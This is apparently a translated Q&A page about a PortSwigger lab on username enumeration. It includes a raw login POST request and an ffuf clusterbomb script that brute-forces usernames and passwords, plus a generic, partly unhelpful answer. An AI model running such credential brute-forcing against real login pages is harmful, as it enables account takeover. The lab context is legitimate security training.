Команда FFUF возвращает код состояния 400, независимо от выбранного режима: clusterbomb, pitchfork, sniper.

Вопрос или проблема

Я работаю над лабораторной работой на PortSwigger.com под названием Перечисление имен пользователей через разные ответы. При использовании ffuf для решения лабораторной работы, вывод постоянно возвращает код состояния 400.

Вот что я пробовал до сих пор. Вот файл с нагрузкой запроса, а также файл скрипта. Обратите внимание, что в файле скрипта я использую -mode clusterbomb. Однако это не имеет значения, так как тот же код состояния возвращается при использовании -mode sniper:

POST /login HTTP/2
Host: 0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
Connection: keep-alive
Referer: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net/login
Cookie: session=IuAfPDAxBDUC0ePVk9a9AAF3giPAyWYV
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=U&password=P
#!/usr/bin/env zsh

printf "\nотправка запроса: перечисление ..\n"
ffuf -request ./reqsPayload.txt \
-request-proto http \
-mode clusterbomb \
-w ./payloadsCredentials/usernames1.txt:U \
-w ./payloadsCredentials/passwords1.txt:P \
-mc all \
-t 1 \
-p 1.0-2.0 \
-ic \
-se | tee ./resp.txt

При фуззинге цели с помощью ffuf, целевой параметр должен быть FUZZ, FUZZ1, FUZZ2 и т.д.

Иными словами, замените U на FUZZ1, а P на FUZZ2:

POST /login HTTP/2
Host: 0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
Connection: keep-alive
Referer: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net/login
Cookie: session=IuAfPDAxBDUC0ePVk9a9AAF3giPAyWYV
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=FUZZ1&password=FUZZ2
#!/usr/bin/env zsh

printf "\nотправка запроса: перечисление ..\n"
ffuf -request ./reqsPayload.txt \
-request-proto http \
-mode clusterbomb \
-w ./payloadsCredentials/usernames1.txt:FUZZ1 \
-w ./payloadsCredentials/passwords1.txt:FUZZ2 \
-mc all \
-t 1 \
-p 1.0-2.0 \
-ic \
-se | tee ./resp.txt

Ответ или решение

Для решения проблемы, когда команда ffuf возвращает статус-код 400, независимо от режима (clusterbomb, pitchfork, sniper), необходимо убедиться, что синтаксис запроса и используемые переменные корректны.

Как вы уже заметили, одним из основных требований для успешного использования ffuf является наличие обязательных меток FUZZ, FUZZ1, FUZZ2 и т.д. в файле с запросом, которые указывают ffuf, где подставлять значения из ваших файлов со словами. В вашем случае вы заменяете U на FUZZ1 и P на FUZZ2, что является правильным шагом.

Вот пример исправленного HTTP-запроса и скрипта:

Исправленный HTTP-запрос (reqsPayload.txt):

POST /login HTTP/2
Host: 0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Origin: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
Connection: keep-alive
Referer: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net/login
Cookie: session=IuAfPDAxBDUC0ePVk9a9AAF3giPAyWYV
Upgrade-Insecure-Requests: 1

username=FUZZ1&password=FUZZ2

Исправленный скрипт:

#!/usr/bin/env zsh

printf "\nsending request: enumerating ..\n"
ffuf -request ./reqsPayload.txt \
-request-proto http \
-mode clusterbomb \
-w ./payloadsCredentials/usernames1.txt:FUZZ1 \
-w ./payloadsCredentials/passwords1.txt:FUZZ2 \
-mc all \
-t 1 \
-p 1.0-2.0 \
-ic \
-se | tee ./resp.txt

Важные моменты, которые стоит проверить:

  1. Правильность меток: Убедитесь, что в запросе правильно указаны FUZZ1 и FUZZ2. Это те места, куда ffuf будет вставлять данные из ваших файлов со словами.

  2. Правильный формат данных: Проверьте, что ваши файлы со словами (usernames1.txt и passwords1.txt) содержат несущие данные, и они соответствуют тому, что ожидает сервер. Например, неправильные форматы логина или пароля могут привести к ошибкам запроса.

  3. Настройки сервера: В некоторых случаях сервис может требовать дополнительных заголовков или определённого формата данных. Проверьте ответы сервера на стандартные запросы, чтобы выяснить, не требуется ли дополнительная аутентификация или специальные параметры.

  4. Отладка ответа сервера: Попробуйте использовать -mc для фильтрации статусов (например, -mc 200 или другие) и проверьте, что нет других ошибок, которые могут приводить к статус-коду 400. Также можно запускать curl с теми же параметрами, чтобы увидеть полный ответ от сервера и понять, в чём состоит проблема.

Следуя вышеуказанным рекомендациям, вы сможете корректировать запрос и устранить ошибки, вызывающие статус-код 400.

Оцените материал
Добавить комментарий

Капча загружается...